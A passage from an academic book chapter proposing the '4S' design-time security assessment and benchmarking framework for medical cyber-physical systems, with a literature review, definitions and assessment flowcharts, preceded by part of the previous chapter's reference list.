 6. A. Al-dhaqm et al., “Database Forensic Investigation Process Models: A 
Review,” in IEEE Access, volume. 8, pp. 48477-48490, 2020. 

PROOF



162 Cyber Security and Digital Forensics

 7. Muhammad Sadiq et al., “Mobile Devices Forensics Investigation: Process 
Models and Comparison.”, International Scientific Journal Theoretical & 
Applied Science. Volume.33, pp. 164-168, 2016. 

 8. P Chavan, D Jadhav, GM Borkar, “Challenges to Multimedia Privacy and 
Security Over Social Media”, Handbook of Research on Cyber Crime and 
Information Privacy, IGI, pp. 118-131, 2020. 

 9. Wilson, Rodney & Chi, Hongmei, “A Case Study for Mobile Device Forensics 
Tools”, in Proceedings of the SouthEast Conference, Association for Computing 
Machinery, New York, NY, USA, 154–157, pp 154-157, 2017. 

 10. Konstantia Barmpatsalou, Tiago Cruz, Edmundo Monteiro, and Paulo 
Simoes. 2018. Current and Future Trends in Mobile Device Forensics: A 
Survey. ACM Comput. Surv. 51, 3, Article 46, pp. 1-31, 2018. 

 11. A. Al-Dhaqm, S. A. Razak, R. A. Ikuesan, V. R. Kebande and K. Siddique, 
“A Review of Mobile Forensic Investigation Process Models,” in IEEE Access, 
volume. 8, pp. 173359-173375, 2020.

 12. Artyom Skrobov, Slava Makkaveev “Advanced SMS Phishing Attacks 
Against Modern Android-based Smartphones”, https://research.checkpoint.
com/2019/advanced-sms-phishing-attacks-against-odern-android-based-
smartphones/ 2019.

 13. Feng X, Zhao Y (2017) ‘Digital forensics challenges to big data in the cloud’, 
IoTBDH-2017 - Exeter, pp. 858-862, 2017. 

 14. V. V. R. G. Saigopal and D. V. Raju, “IoT based Secure Digital Forensic 
Process according to Process Management,” International Conference on 
Computational Intelligence (ICCI), Bandar Seri Iskandar, Malaysia, pp. 229-
232, 2020.

 15. M. Stoyanova, Y. Nikoloudakis, S. Panagiotakis, E. Pallis and E. K. Markakis, 
“A Survey on the Internet of Things (IoT) Forensics: Challenges, Approaches, 
and Open Issues,” in IEEE Communications Surveys & Tutorials, volume. 22, 
issue no. 2, pp. 1191-1221, 2020. 

 16. Keyun Ruan, Joe Carthy, Tahar Kechadi, Ibrahim Baggili “Cloud forensics 
definitions and critical criteria for cloud forensic capability: An overview of 
survey results”, Digital Investigation Journal, pp. 34-43, 2013. 

 17. Park S. et al., Research on Digital Forensic Readiness Design in a Cloud 
Computing -Based Smart Work Environment, Sustainability 2018, volume 
10, pp. 1-24, 2018. 

 18. Thankaraja Raja Sree and Somasundaram Mary Saira Bhanu, “Data 
Collection Techniques for Forensic Investigation in Cloud”, Digital Forensics 
Science, 2020. 

 19. Ameer Pichan, Mihai Lazarescu, Sie Teng Soh, “Cloud forensics: Technical 
challenges, solutions and comparative analysis”, Digital Investigation, volume 
13, pp. 38-57, 2015.

PROOF



163

Mangesh M. Ghonge, Sabyasachi Pramanik, Ramchandra Mangrulkar, and Dac-Nhuong Le (eds.) 
Cyber Security and Digital Forensics, (163–204) © 2022 Scrivener Publishing LLC

8

4S Framework: A Practical CPS 
Design Security Assessment & 

Benchmarking Framework
Neel A. Patel1

*, Dhairya A. Parekh2, Yash A. Shah1 
and Ramchandra Mangrulkar1

1Computer Engineering Department, Dwarkadas J. Sanghvi College of Engineering
2Information Technology Department, K J Somaiya College of Engineering

Abstract
With the advent of the ‘Fourth Industrial Revolution’ – a term coined by Klaus 
Schwab, the founder of World Economic Forum (WEF), technology has now 
blurred the lines between different industry domains that interact with life. The 
physical, digital, and biological worlds are all coming together to provide solutions 
to our decades-old predicaments. Within this context, Cyber Physical Systems 
(CPS) for simplicity is an amalgamation of the next generation of multicomponent, 
networked intelligent digital systems with the ability to interact with humans in a 
usually uncertain physical environment, in real time. CPSs provide a para-
digm-shifting sustainable solution with the desirability of performance, accuracy, 
safety, active management, partial autonomy, and a healthy ability to control and 
operate crucial aspects of human life. CPS finds an extensive application of its capa-
bilities in the healthcare sector with the potential to revolutionize the sector which 
is worth approximately 280 billion US dollars in 2020 for India alone. The term 
‘Medical Cyber Physical System’ (MCPS) is a branch of CPS so prominent that it 
calls for a separate listing due to a list of definitions and actions that it brings with 
it. The potential of an MCPS anywhere dramatically increases the need to collect, 
process, and to put the data into action in a real-time environment. Now, with such 
a huge amount of data being collected, modelled, and trained to be brought for 
action also comes immediate attention towards CPSSEC - CPS Security mecha-
nisms. There are abundant security mechanisms available today which have been 
comprehensively studied at length. However, there is a lack of a consolidated 
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framework to assess and benchmark the security aspects of a CPS design, so to be 
used by a system designer with minimal modifications. In this chapter, the authors 
have explained the need for a comprehensive framework for security assessment of 
MCPSs and have proposed one, named 4S (Step-by-Step, Systematic, Score Based, 
Security Pivotal) Assessment & Benchmarking Framework. The proposed frame-
work has elements of model-driven security engineering principles. An incisive 
assessment on a hypothetical MCPS has been carried out to illustrate the use of the 
proposed framework and make evident its benefits as well as areas of improvement. 
The framework can be used for formulating a germane benchmarking process to 
have a design-time security assessment. Additionally, the authors have differenti-
ated between CPSSEC and the de facto cybersecurity aspects of a CPS. Also, the 
authors have considered boundary cases that might be the point of concern w.r.t. 
CPSSEC in cases a pandemic breaks out. Such a security assessment framework can 
not only render useful for system designers but also can be studied by other 
researchers to bring effective modifications to it, and as a result, bring substantial 
strength to the security aspect of the CPS designing process.

Keywords: Cyber-physical systems (CPS), assessment framework, quality 
assurance (QA), medical cyber-physical systems (MCPS), CPS security 
(CPSSEC), security risk assessment, design assessment and holistic assessment

8.1 Introduction

There is a revolution currently happening all around us, i.e., the Industry 4.0. 
Undoubtedly it is going to affect the whole of humanity, and Cyber Physical 
Systems (CPSs) are at the pivot of this revolution [1]. So, there is definitely 
an urgent need to understand how these crucial CPSs work and in laymen’s 
terms answer the question, “How to make successful and safe CPSs?” The 
term CPS was coined around 2003 at the University of California, Berkeley. 
The definition of that term was essentially: systems that have computational 
units inside it and can communicate with other systems and humans around 
it. The nature of CPS is such that there are two main facets to it: cyber aspect 
and physical aspect. The physical aspect involves the movement and other 
physics-related considerations that come into the picture while designing 
CPSs. Examples of CPSs can be seen in major industries like Self-Driving 
cars in the Automobile Industry, Smart Grids in the Power Industry, Patient 
Monitoring Systems in the Medical Industry, Auto-Pilot in the Aviation 
Industry and many more. The important thing to observe here is the mere 
level of effect that CPSs (almost) directly can have on human lives.

CPSs have been playing a remarkable part in the Industrial Revolution 
4.0 as of now and are expected to do so in the coming years as well. The 
act of combining computing, connectivity and even artificial intelligence 
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to a considerable extent has been of great interest to system designers. The 
number of tasks one can achieve through these features is quite prominent. 
As a result, CPS is immensely popular in an array of sectors [2].

When it comes to technological and hardware-level dissection that one 
can find to eventually classify a system as being a CPS or not is quite fuzzy 
in nature. The reason is that CPS is a multi-disciplinary concept involving 
all possible technologies that can be used to realize the output the CPSs are 
expected to produce. Also, due to the multi-disciplinary nature of it, there 
is a strong requirement of having people who are Subject Matter Experts 
(SMEs) on-board of CPS designing teams.

Although, CPSs usually have positive impacts on human lives, there are 
a few negative impacts as well. Just like there is a need to provide security 
to important things and people in the world, it is not arguable that CPSs 
need really strong security and safety features incorporated in them. [26, 
28] CPSs have faced issues in terms of designing their sub-systems to attain 
security implicitly, since from one end one can say that sub-systems like 
data encryption unit, communication unit, central processing unit, etc., are 
already the ones that the world knows how to design such that they are 
efficient and secure. But many researchers have rightly addressed the issue 
that there is also a need for a holistic view towards CPS design process. 
This is because there are so many aspects that go unconsidered (unnoticed) 
when designing sub-systems for CPS in an independent manner. The prior 
mentioned problem is evident since we do not have any standardised way of 
designing CPSs or assessing various aspects of it. Even if there are research 
proposals for assessing specific aspects like vulnerability and safety, they are 
not satisfactorily scrutinized and brought to an implementable level.

It is a common and intuitive idea that things that are measured can 
be improved. As a result, concepts and practices like assessment and 
benchmarking come into the picture to assist system designers to opti-
mize various design parameters of a system. Comprehensive and security 
assessment methodology specifically for CPSs is the need of the hour [34]. 
Currently, there is considerably less discussion seen of this particular topic.  
In this chapter, the authors propose a MCPS design security assessment 
framework from a security point of view (POV). The assessment model is 
designed with four characteristics associated with it, i.e., step-by-step pro-
cedure, score based. These characteristics are expected to make the assess-
ment framework feasible and effective for CPS designers.

The rest of the chapter is organised as follows: Section 2 covers Literature 
Review, Section 3 describes MCPS, Section 4 differentiates CPS Security 
(CPSSEC) vs. Usual Cyber Security, Section 5 delineates our proposed 
framework and has sub-sections – Model Based Security Engineering, 
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Benchmarking Pith, and Security Design Time Assessment. After that, 
Section 4 covers Components of 4S Assessment Framework having 
sub-sections – System under Test, Output Score Breakdown, Assessment 
Framework, and Result Calculation Logic. Following Section 4 is the 
Assessment on Hypothetical MCPS using 4S Assessment Framework in 
Section 5. Lastly, Future Scope, Conclusions and References sections are 
presented.

8.2 Literature Review

Balika J. Chelliah et al. describe security implications in CPS, pointing out 
that existing CPSs do take care of static aspects of CPS Security but focus 
less on the dynamic nature of CPSs. The authors attempt to deal with secu-
rity issues at diverse layers of CPS Engineering. The need to survey various 
categories of hazards a CPS is vulnerable to, is presented section-wise. The 
paper revolves around different systems for verifying CPS security. The 
authors have coined the term CPSSEC to be used collectively for all the 
security aspects of a CPS. An adaptive security architecture is proposed in 
the paper. The proposed architecture is expected to perform functions like, 
authentication, trespass detection, speculative threat analysis, and moni-
toring. The explanation and justifications of the paper are quite vague. The 
holistic nature of CPS is not given enough focus in the proposed architec-
ture. An intuitive graphical view is presented so as to detect trespassing 
more visually and intuitively [3]. 

A highly sensitive trade-off between availability, safety, and security of a 
CPS has been articulated by the authors R. Altawy and A. M. Youssef [4]. 
These are the non-functional requirements of a CPS that are interrelated to 
each other. Further, the authors V. Bolbot et al. [5] state that it is the com-
plexity of a CPS that renders them vulnerable and accident-prone. They 
further argue that the unpredictability of its behaviour leads to complex 
designs and which render the system vulnerable to a variety of threats. 
The authors try to find and examine the sources of these complexities. 
According to the authors, the majority of researches deal with only one type 
of CPS. Interestingly, there have also been attempts to find interconnection 
between safety and security of CPSs. According to the authors, there is lack 
of review of available methods for safety assurance in the design phase. The 
approach put forth by the authors uses concepts of safety engineering and 
complexity theory to assess CPS systems. 

Interestingly, authors R. Alguliyev et al. in [6] aim to analyze and clas-
sify existing research work on CPSSEC. Important and practically possible 
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philosophical issues, for example, blameworthiness, etc., related to CPS are 
raised by the authors. The principles of CPS operations have been described. 
The authors have also discussed the main difficulties and solutions in the 
estimation of the consequences of cyber-attacks, attack modeling, and 
the development of security architecture. It can be strongly inferred that 
the CPSs are rendered compromised towards risks of intrusion and various 
attacks because the users using it or even just coming across it are usually 
huge in number [29, 30].

CPSs have begun to be deployed in the healthcare sector. Internet of 
Things (IoT) in particular, has been the catalyst in it. CPSs prove to be 
a great boon for the medical sector, as they can monitor real-time data 
and take actions accordingly. This helps save the lives of patients who are 
critically ill. But this ease of use is also accompanied by a vast variety of 
cyber-attacks being possible. Any attack on MCPSs can have irrevers-
ible effects as it may lead to loss of life or leakage of confidential medi-
cal records. The authors in [7] have discussed various types of attacks an 
MCPS is vulnerable to. N.S. Abouzakhar et al. have mentioned that the 
existing protocols designed for IoT applications are incapable of handling 
many cyber-attacks. They state the need for a robust protocol stack to 
tackle cyber-attacks efficiently. It can also be inferred that the most vul-
nerable component of IoT systems is the wireless media through which 
communication takes place. The openness of the media makes it the most 
vulnerable component as it is easy to capture or manipulate the signals. 
Even the database technology used is vulnerable to attacks like SQL injec-
tion attack.  The importance of strict laws for security breaches in medical 
records has also been emphasised by the authors.

To assure security, there must be some assessment strategy that can 
measure the level of security in a CPS [8]. S.A.P. Kumar et al. have pro-
vided an assessment framework that can be used to perform a vulnerability 
assessment of aviation cyber-physical systems (ACPS). The main aim of 
the framework is to detect and prevent cyber-attacks in wired and wire-
less media. The authors also present a description of various attacks such 
systems are vulnerable to. They also highlight the loopholes in the systems 
that use IEEE 802.11 and 802.16 WLANs communication standards. Their 
assessment paradigm is highly networking oriented. It focuses less on the 
design phase. The authors have demonstrated the working of their frame-
work using a hypothetical ACPS, but the framework is not generalizable 
and cannot be used universally across all types of CPSs.   

In [9] the authors present a vulnerability assessment framework named 
CPINDEX, for power grid infrastructures. C. Vellaithurai et al. state that 
the main aim of a security assessment framework is to assess the security 

PROOF



168 Cyber Security and Digital Forensics

of a given system at any instance of time. The approach is based on contin-
gency analysis of a system. The proposed system used information flows 
to determine the state of a system at any given time. As a result, a depen-
dency graph is generated that depicts the information flow in the system. A 
Bayesian network is generated and updated dynamically to capture global 
system state. CPINDEX makes the use of belief propagation algorithms on 
the generated Bayesian models to calculate the security level of the system 
under a particular state. It is a scenario-based assessment model. The pro-
posed model also does not take into consideration the universality of the 
framework. Also, the assessment is carried out in real time and not during 
the design phase. This may lead to enormous costs if there is a need to alter 
the design or special skills are required to perform it.

A rigorous vulnerability assessment in the design phase will ensure that 
security is taken care of since the inception of the design phase. This will 
save resources and time as assessment in a later phase may prove costly. 
The cost incurred to modify the design and start all over again can be sub-
stantially high [10]. In [10] the authors state the need for a quantitative 
security assessment of a CPS. A need to consider both safety and security 
during the design phase is presented by the authors. Safety and security are 
interrelated but there is a lack of frameworks to assess them collectively. As 
a result, the need for a holistic approach can be asserted. It is possible that 
the system designers or developers may not be aware of the cyber threats 
that a system can be vulnerable to. As a result, multiple frameworks will be 
required to assess different aspects of the system. This makes assessment a 
laborious task. N. Subramanian et al. in [10] have presented their approach 
to assess a CPS w.r.t. both safety and security. Their approach is based on 
non-functional requirements (NFRs). Different constructions exhibit dif-
ferent behaviours under different conditions and system designers may 
need to consider them to choose the best design. The discussed approach 
takes into account the non-functional goals of the system being assessed. 
The system is decomposed into major components according to the vitality 
of the role they play in fulfilling the NFRs. After decomposition various 
rules are defined to assess the system. The working of the framework has 
been displayed using an oil pipeline control system.

The need for security assessment from the beginning of the design phase 
itself has also been supported by F. Asplund et al. in [11]. The need for 
combining safety and security presented in [11] is similar to the one pre-
sented in [10]. Analogous to [10] authors in [11] state the need for holistic 
assessment of CPSs. It can be inferred that safety and security often influ-
ence each other. Since the two concepts sound similar in some respects, it 
is difficult to draw a clear line between the two. Safety and security should 
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be assessed collectively to prevent exploitation of either aspect. Feedback 
in the design phase can help system designers to design effective, relevant 
and secure CPSs. The flaw in the assessment framework is that it relies too 
much on the connection between the cyber and the physical aspects and 
ignores the widely suggested holistic aspects. 

In addition to [10, 11] the need for a holistic approach for assessment 
is put forth by the authors in [12] as well. It can be extrapolated that there 
is a need for paradigms to assess and assure strong security from the ini-
tial phases of CPS designing. The heterogeneous, dynamic, and distributed 
nature of an IoT-based CPS exposes it to a plethora of risks. A holistic 
IoT security solution is presented by the authors. Additionally, they pro-
vide innovative solutions to tackle cyber threats. It decomposes the system 
based on various aspects to assess security. The results of assessments are 
presented in the form of seals. The approach presented in [12] however, 
may not be applicable on all the type of CPS systems.

Z. Kazemi et al. in [13] have presented with fault injection attacks, a new 
category of attacks that may take place on IoT systems. CPS using Micro 
Controller Units (MCUs) are the most vulnerable to such attacks. Attacks 
like the one mentioned above may not be explored by IoT developers and 
may be overridden by attackers. They also state that Embedded System 
developers may not have a substantial knowledge of various cyber threats. 
A need for rapid assessment of safety and security using a comprehen-
sive platform can be inferred from the article. The authors have introduced 
their software platform to assess the system by simulating various types of 
attacks on it and observing the system’s response under such conditions.

In [15] the authors have discussed how networked medical devices 
can alter the currently stand-alone devices, for example, CRO, ECG, etc. 
The sensor data collected from these devices can be processed to further 
extract meaning from them. It also focused on how such systems should be 
aware of each other in an environment where they are deployed. A precise 
idea of this can be understood from [19] as well. The authors here have 
attempted to address the challenges of assured performance and reliability 
w.r.t. physiological parameters. Discussions of how aware an MCPS can 
be hinted towards a pull-off switch. In case there is an occurrence of a 
potentially harmful circumstance arising, the system, however intelligent, 
must raise an alarm for a practicing medical expert and not deal with it 
by itself. Specific examples are also discussed to illustrate the same. An 
interesting highlight is presented in [20] regarding the same conundrum. 
An approach for how to assign opaque tasks to MCPS is explained in 
detail. This is alarming because even if the designers have a great grip over 
the components of the entire system but due to its black-box nature, one 
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should give second thoughts while assigning critical tasks to the systems 
with controlled autonomy.

A lot of intelligence in medical systems come from the data they collect 
and process. With the use of highly specific and task-oriented algorithms, 
the vastly unstructured data of the healthcare sector are made clinically 
relevant. The authors in [21] have showcased how clinical decision mak-
ing is based on the data filtered through those algorithms and processes. 
Use cases of CPS in healthcare or as we dub it MCPSs, are highlighted 
within the paper. Based on the premise set by [21], the authors of [22] have 
extrapolated the importance of data consistency that has largely remained 
absent from the healthcare sector. CPS gives a data-driven approach to the 
healthcare sector for real-time decision making.

With an engrossing definition of MCPS based on a forensics-like 
approach of designing and development, the authors of [23] have dis-
cussed how security takes the central table for the design process. To equip 
the system with data security and digital forensic capabilities the authors 
have discussed how such an approach can quickly become the norm in the 
industry. They have also mentioned the discussions essential in case any 
configuration changes are made about its processes. Further discussion 
on the security aspects is made in [24]. Consider if there’s an implantable 
device in a patient’s body. Under normal circumstances, the access con-
trol and the processes will be protected by the security algorithms con-
suming time but providing necessary safety. The trade-off concerns tune 
in when we discuss such emergency scenario(s). During an emergency 
these time-consuming frameworks need to be bypassed to speed up the 
execution at the risk of making the system vulnerable and open to threats. 
Hence, while benchmarking there needs to be a discussion on security and 
availability trade-offs for any MCPS.  

8.3 Medical Cyber Physical System (MCPS)

MCPS can be defined as a type of CPS that metamorphoses CPS but with 
a concentration on its medical application. While working with CPS, a key 
aspect of human interaction of those systems within any environment is 
taken implicitly. This causes a lot of issues when we focus on MCPSs. The 
reason is that when we take any human interaction as implicit, actions of 
MCPSs can lead to catastrophes when safety is considered. MCPSs can be 
defined as follows: one of the disciplines of CPS where life-essential, con-
text-aware, networked medical systems work in unison to deliver key med-
ical metrics and care [14]. Unlike traditional independent devices, MCPSs 
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can be designed in such a way that they can deliver treatment for patients 
with networked, distributed and synchronized functional units and have 
the potential to provide medical care more accurately and even remotely. 
MCPSs are attempting to enhance the delivery of personalized healthcare 
treatment and services in various aspects. With the ability to detect chang-
ing health conditions, and the ability to provide personalized medical 
devices, robotic surgery or a bionic limb has already started to augment 
human abilities [18].

8.3.1 Difference between CPS and MCPS

CPS applications have always made multiple aspects of human life less triv-
ial, faster and convenient with credible delivery of results. In its deploy-
ment, a CPS may or may not have a programmed human interaction but is 
sure to subsidize human efforts. The critical difference with MCPSs in the 
picture is that it has explicit human interaction. Hence demanding a near-
zero level of error with its operations. An MCPS may have been deployed 
in an extensive care unit of a hospital and is performing multiple roles. 
Consider that this networked system is reading human body vitals and 
processing that data to adjust the concentration of medicine which is being 
injected into the patient’s veins. A little mishap while adjusting the con-
centration of this medicine can prove fatal. One of the many vitals that it is 
reading is also heart rate. Now MCPSs are designed to give them a certain 
level of autonomy and based on a certain false-positive, the system took an 
action that led to a critical collapse of its functioning. However rare this 
error may be, the misfortune cost a human life. This is the major difference 
between CPSs and MCPSs.

MCPSs are designed to keep explicit and imperative human interac-
tions in mind. These systems need to be designed as such that as long as 
a licensed professional doesn’t alter its state and its variables they need to 
deliver accurate and reliable results. The margin for error becomes a near-
zero number. With the help of this chapter, the authors have extrapolated 
upon this concern and have delivered a holistic view of several prospective 
causes of concern.

8.3.2 MCPS Concerns, Potential Threats, Security

Several scathing challenges are encountered while consuming the services 
of MCPSs. Since these are networked, autonomous to a certain degree, and 
complex to design, they come with numerous concerns. It is essential for 
such systems to deliver high assurance with the package in terms of safety 
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and reliability [30]. The package has to be interoperable, needs to provide 
context-aware feedbacks, and have high grades of security and privacy 
statements. With higher usage of data, the middleware has to support suf-
ficient data flow rates while maintaining consistency, integrity, and security 
of the data [15].

The networked communication setup also raises issues for network 
stability and sufficient network bandwidth capacity. Under any circum-
stances, if there’s a network failure, it is essentially a fracture and the system 
collapses. The criticality of the same can be understood with the need for 
an enhanced network monitoring infrastructure that can feature reliability, 
safety and fault tolerance to a certain extent for cases leading to a failure 
[16].

Medical systems cannot withstand power failures as availability is an 
entreaty. Therefore MCPSs have to be packed with battery backups which 
can suffice for the time power is out. The battery behaviour also needs 
monitoring as it cannot possibly run out of energy under operation [17]
[27]. Accuracy and timely results is yet another desirable aspect. A false 
alert can create a negative impact on the treatment and hence can lead 
to fatal errors. The cyber-physical relationship that triggers human inter-
action needs to have limited human dependent interactions. The reason 
behind this is that humans shouldn’t be able to modify any constraints on 
the system. There will be a limited number of modifiable actions with any 
system so as to remain consistent with its functionality.

8.4 CPSSEC vs. Cyber Security

One very evident difference that can be observed when comparing cyber 
security and CPSSEC is the presence of physical components. CPSs are 
physical systems too, in addition to being computational in nature. There 
might be a physical body of the CPS which may be using laws of physics to 
achieve various outputs. The point is that there is a combination of cyber 
and physical technologies that work collectively to produce an output, 
whereas cyber security is comparatively straightforward. Major reasons for 
why this holds true can be:

1. Cyber Security has a fixed structure since it can be fairly easy 
to identify the components of the attack that happened, e.g., 
components like network, computer system or security pol-
icy render the main places to investigate. 
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2. Cyber Security is somewhat isolated from the type of system 
that it is being used in. The possible attacks and their corre-
sponding solutions have been in the research world for quite 
a long time. Hence, these attacks and their potential solu-
tions can easily be discussed, implemented and improved.

As CPSs are multi-disciplinary in nature there is difficulty in securing it 
by merely adding cyber security to it [31-33]. So it would not be inappro-
priate to say that CPSSEC is not necessarily different than cyber security, 
but rather beyond it. 

8.5 Proposed Framework

The authors have delineated the 4S security assessment framework for 
MCPSs. The 4Ss are defined in the subsequent sections. There is also a need 
to understand the working of it in terms of various sections it is logically 
segregated into. Since sections have a sense of meaning associated with 
them, they are expected to be directly proportional to the CPS being secure 
based on the result of that section’s assessment being positive or negative 
and the degree of them. There is also a pith or essence of benchmarking 
incorporated in the proposed framework which will help make the system 
better w.r.t its older versions. Additionally, it  provides a minimum thresh-
old of secureness for the designers to maintain or improve upon. 

Design-phase level assessment model has been developed. The benefit 
of this approach is that there is long-realized wisdom among engineers 
w.r.t. developing of any engineering product, i.e., design phase is least 
costly and most safe phase for all the trial-and-errors. Hence, it is better 
to assess the CPS design from the design phase itself and as a result, avoid 
the worst consequences that could result if faults are discovered after the 
system has been developed and deployed. The situation can even be fatal in 
some cases, especially when it comes to MCPSs.

There are four corpus being referred in the subsequent sections: 
cyber-security assessment corpus, physical-security assessment corpus, 
medical device-security assessment corpus and extreme and exceptional 
case-security assessment corpus. These four corpus are a set of de facto 
security tests that will be included in the respective sections they are being 
employed in. 

Since this chapter is primarily focused on the higher-level view, i.e., 
assessment and not on any specific security mechanism the sections do not 
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separately elaborate on the lower level security mechanisms and related 
points of discussion. 

8.5.1 4S Definitions

The four main characteristics of the proposed framework have been men-
tioned below. The interpretation of authors of the same has been elabo-
rated in the subsequent sections.

a. Step-by-Step
The assessment framework proposed includes a procedure to be followed 
to eventually assess any MCPS design from a security POV. The notion of 
sections is included and it directly equals the concept of a group of steps. 
For example, if there is a main section in the procedure to be followed that 
is given in subsequent sections then it is equal to a group of steps that are 
to be followed. The sections are logical grouping of steps to be followed so 
as to achieve a big assessment step. Such logical grouping combined with 
procedural approach is intended to make the assessment process more 
sensible and organised.

b. Score-Based
The proposed framework is kept score-based so as to get the benefits of 
giving a tangible view to the process of the MCPS design security aspect’s 
assessment. The benefits being discussed about in the previous statement 
include:

1. Identify the current level of secureness of the design  
2. To know the way it can be increased 

The assessment framework being score-based, essentially means that 
once the CPS designer(s) follows the framework procedure he/she/they 
will have to also use proposed scores with the output of each step so 
as to eventually calculate the overall secureness of the MCPS under 
assessment. 

The score outputted by the 4S framework is only self-comparable. In 
other words, if the system got 70 in initial assessment and then improved 
to get 80 in the next one, designers can interpret that the system secureness 
did improve. Whereas, if two different systems were assessed at the same 
time and they got 30 and 40, respectively, it does not mean the latter system 
is more secure than the prior one. This holds true since:
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1. There are few parameters that the system designer can select 
based on need.

2. Holistic security considerations are assessed, which differ 
from system to system.

It is very important to understand the index or score given as the output 
of full assessment is not a vulnerability score, i.e., in the case of the pro-
posed framework, the higher the score, the more secure is the CPS. Scores 
can range anywhere from 1 to 100. The score breakdown is explained in 
section 5 of the framework, i.e., the score calculation section.

c. Systematic
By systematic, the authors mean that the proposed framework follows the 
input-process-output perspective. This perspective is well known among 
system designers and hence understanding and implementation of the 
assessment framework that is put forth becomes somewhat easy. There is 
use of corpus (or group of assessments) and logical sections to make the 
assessment procedure more systematic, sensible, and transparent to loop-
holes for further improvements. These logical sections mentioned above 
give the framework a notion of sub-systems, which helps them compre-
hend the intention of proposed sections easily.

d. Security-Pivotal  
The framework is restricted to assess a MCPS design for how secure it is. 
The framework will assess for presence of de facto security measures which 
generalised systems possess. Additionally, possible holistic, MCPS specific 
and extreme cases of security breaches have also been assessed. The assess-
ment has a notion of making the CPS design more and more secure by 
using concepts like self-benchmarking as well. 

8.5.2 4S Framework-Based CPSSEC Assessment Process:

The flowchart in Figure 8.1 has to be followed by the designer(s) who are 
responsible for building and developing a secure MCPS. On a functional 
level, 4S Framework is a series of different CPSSEC related assessments 
that the CPS security designer or engineering will have follow to provide 
an effective and comprehensive security assessment of the CPS that they 
are designing.

There are a total of five sections in the flowchart. These sections help 
make sense of the kind of assessments that are taking place. Each section 
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is assessed for a different facet of CPS design that can be exploited by the 
attackers to harm it in different ways and degrees. 

a.  Section 1: Most Vulnerable Module (MVM) Assessment or Quick Assessment
This section is initial and important. It is kept first so as to assess CPS when 
only quick assessment is possible. This Section is named Quick Assessment 
because the authors have included a concept of Full Assessment and Quick 
Assessment. In cases where the full comprehensive assessment is not pos-
sible then the very first section assesses the highest vulnerability module of 
a MCPS design from the security aspect. 

Other than being the quick assessment section, it is a section that assess 
the most vulnerable module of the CPS under design. The steps to be per-
formed for this assessment are mentioned in Figure 8.2 below.

b. Section 2: De facto Cyber & Physical Security (DCPS) Assessments
This is the traditional view, based on which assessment on a corpus of tests 
is performed. Corpus being mentioned above are just like a comprehensive 
checklist of both cyber and physical attacks possible. This section will add a 
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Figure 8.1 Flowchart with main sections and blocks inside each section.
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sense of familiarity for the CPS designer towards the proposed framework. 
This is because this paradigm has been used for viewing the CPS design for 
some years [11]. The steps to be followed for this assessment is presented 
in Figure 8.3 below.

Start

Prepare a List Main Modules of the CPS

Sort them in the Order of Vulerability
(Highest being the most vulnerable)

Assess them for Model Bases Assessment

Save assessment result in the Section Output
Variable

End

Figure 8.2 Flowchart of MVM / quick assessment.

Start

Generate Test-beds

Assess the system for cyber aspects (Corpus)

Assess the system for physical aspects
(Corpus)

Save the assessment result in the output
variable

End

Figure 8.3 Flowchart of DCPS assessment.
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c.  Section 3:  Holistic, Medical-Specific & Boundary Cases (HMSB) Assessment
This section in an outcome from the past paper suggestion discussed in the 
literature review as well as a detailed understanding of why there are gaps 
left out in terms of CPS’s security side despite the traditional checks that 
being performed. There is use of model-driven security concept in this sec-
tion. This will add a holistic view of MCPS under assessment also into con-
sideration. In terms of model-driven security, a designer can opt towards 
choosing any modelling technique; for example, the authors have chosen 
Use Case Diagram in the hypothetical CPS assessment section. This will 
essentially give access to potential behavioural patterns that the CPS would 
be going through once it is deployed. Subsequently, this will highlight the 
situations that are leading to threat-like scenarios and the designer will 
be able to incorporate the defence mechanisms (physical, cyber or policy 
level) into the system proactively. Figure 8.4 below delineates the steps to 
be followed for performing HMSB assessment.

Start

Select 2 Modelling (e.g. Use Case or DFD)

Draw or Model all possible cases (from
Security POV)

Highlight the cases that missed consideration
in assessment of previous sections.

Highlight the cases that are possible if
extreme conditions occur (e.g. pandemic etc.)

Assess their resistance to security breaches
seeming possible in above highlighted cases.

Assess Medical Devices Related Security
Aspects (Corpus)

End

Figure 8.4 Flowchart of HMSB assessment.
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There are three main assessments in this section. The explanation of 
each is given below:

1. Holistic or Model Driven Assessment: This section of assess-
ment caters to holistic-view of the system. The range of 
scores can be distributed among various scenarios. The crit-
icality of each scenario will determine the weightage of score 
associated with it. The MCPS designer here has to use their 
modelling to assign score at this level. Hence, the evaluation 
and scoring parameters will be compiled from that informa-
tion mentioned above. The entire weightage of score of this 
section will be devoted to the Use Case Diagram in the case 
of hypothetical MCPS assessed in the next major section. 
The assessment will attempt to find security loopholes in the 
modelling diagram and accordingly score it.

2. Medical - Specific Attacks / Threats Assessment: Next metric 
of evaluation is for medical-based threats and attacks. Here 
the focus is on all the medical procedures, variables and their 
corresponding constants w.r.t. software or hardware level. In 
case, the deviation goes out of its standard range the score 
returned is negative off the maximum points in every case. 
This sub-section uses the corpus Table 8.8.

3. Extreme and Exceptional (or Boundary) Cases–Based 
Assessments:  While delivering results for the considered 
MCPS it is also essential to evaluate its exceptional cases 
or edge cases. This kind of assessment helps to understand 
how much of broad ranging security issues were considered 
while designing the system. This section also includes the 
use of corpus given by Table 8.10.

d. Section 4: Score Calculation
This section enfolds the whole assessment into number-based metric (to 
be able to interpret the assessment easily). Essentially, there is modelling of 
the real-world improvement via the active aim to improve the score. There 
is an essence of gamification too that is associated with scores, which will 
only help CPS designers be more involved in the assessment and improve-
ment processes. 

The scores follow the interpretation of ‘the higher the better’. So, ideally 
the assessment model should motive the designers to work towards mak-
ing their systems better by scoring higher on the overall assessment. Since 
the scores are a summation of smaller and smaller sub-section’s scores, 
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there is a natural focus that is brought to the lower-level security details. It 
is evident that improving them is the most appropriate and direct way to 
improve the overall score of the 4S assessment.

e. Section 5: Self-Benchmarking Step
This section is for assessing the improvements in the CPS design from pre-
vious assessment. This is an optional step in the assessment procedure that 
is added to bring a notion of self-benchmarking to the CPS security design 
a threshold to cross in each iteration of assessment. This section will not be 
performed in the initial iteration. The subsequent iterations will have the 
score of it previous iteration as the benchmark for it to cross.

The penalty amount and minimum threshold of growth selected by CPS 
designer should be same. For example, minimum threshold of growth is 
set to 5 points then the penalty for not crossing it would also be p = − 5.

8.5.3 4S Framework-Based CPSSEC Assessment Score 
Breakdown & Formula

a. Score Breakdown
The tables below contain the score breakdown of each assessment section. 
Also, the sub-section scores are assigned below based on corpuses used in 
them. The score use is divided as 50 points or half the assessment being 

Start

Calculate the score by Formula Number

Add up suggestions for improvement

Generate detailed report

